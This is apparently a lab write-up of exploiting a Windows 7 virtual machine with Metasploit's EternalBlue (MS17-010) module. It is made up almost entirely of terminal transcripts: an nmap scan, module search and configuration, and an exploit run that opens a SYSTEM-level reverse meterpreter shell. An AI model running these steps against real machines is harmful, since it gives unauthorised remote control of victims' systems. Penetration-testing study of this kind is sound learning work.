PROJECT : 5

DATE : 04-10-2021

TOPIC : Exploitation of windows machine using metasploit.

Attacker IP:-192.168.137.55

Victim IP:-192.168.137.190

0.Nmap scan for victim machine.

```
┌──(root💀kali)-[/home/kali/Downloads]
└─# nmap -sV -p 445 192.168.137.190
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-04 02:54 EDT
Nmap scan report for windows7-PC.mshome.net (192.168.137.190)
Host is up (0.00068s latency).

PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 08:00:27:9E:37:29 (Oracle VirtualBox virtual NIC)
Service Info: Host: WINDOWS7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds

┌──(root💀kali)-[/home/kali/Downloads]
└─#
```

1.Initializing Metasploit, starting postgresql database, and open Metasploit console.

```
┌──(root💀kali)-[/home/kali]
└─# msfdb init
[+] Starting database
[i] The database appears to be already configured, skipping initialization

┌──(root💀kali)-[/home/kali]
└─# service postgresql start

┌──(root💀kali)-[/home/kali]
└─# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B    .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__-'

I love shells --egypt


       =[ metasploit v6.1.6-dev                           ]
+ -- --=[ 2165 exploits - 1148 auxiliary - 368 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: You can use help to view all
available commands

msf6 >
```

3.Searching for the exploit script using CVE or vulnerability name, reading documentation of script and selecting matching one.

```
msf6 > search 2017-0143

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 >
```

4.Importing exploitation script and configure options.

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.137.55   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

5.Verifing provided options.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.137.190
RHOSTS => 192.168.137.190
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         192.168.137.190  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.137.55   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

6. Initiating attack.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.137.55:4444
[*] 192.168.137.190:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.137.190:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.137.190:445   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.137.190:445 - The target is vulnerable.
[*] 192.168.137.190:445 - Connecting to target for exploitation.
[+] 192.168.137.190:445 - Connection established for exploitation.
[+] 192.168.137.190:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.137.190:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.137.190:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.137.190:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600
[+] 192.168.137.190:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.137.190:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.137.190:445 - Sending all but last fragment of exploit packet
[*] 192.168.137.190:445 - Starting non-paged pool grooming
[+] 192.168.137.190:445 - Sending SMBv2 buffers
[+] 192.168.137.190:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.137.190:445 - Sending final SMBv2 buffers.
[*] 192.168.137.190:445 - Sending last fragment of exploit packet!
[*] 192.168.137.190:445 - Receiving response from exploit packet
[+] 192.168.137.190:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.137.190:445 - Sending egg to corrupted connection.
[*] 192.168.137.190:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.137.190
[*] Meterpreter session 1 opened (192.168.137.55:4444 → 192.168.137.190:49187) at 2021-10-04 03:05:23 -0400
[+] 192.168.137.190:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.137.190:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.137.190:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >
```

7. Accessing machine

```
meterpreter > sysinfo
Computer        : WINDOWS7-PC
OS              : Windows 7 (6.1 Build 7600).
Architecture    : x64
System Language : en_IN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:9e:37:29
MTU          : 1500
IPv4 Address : 192.168.137.190
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::65a1:f0ac:7d56:e24d
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:89be
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter >
```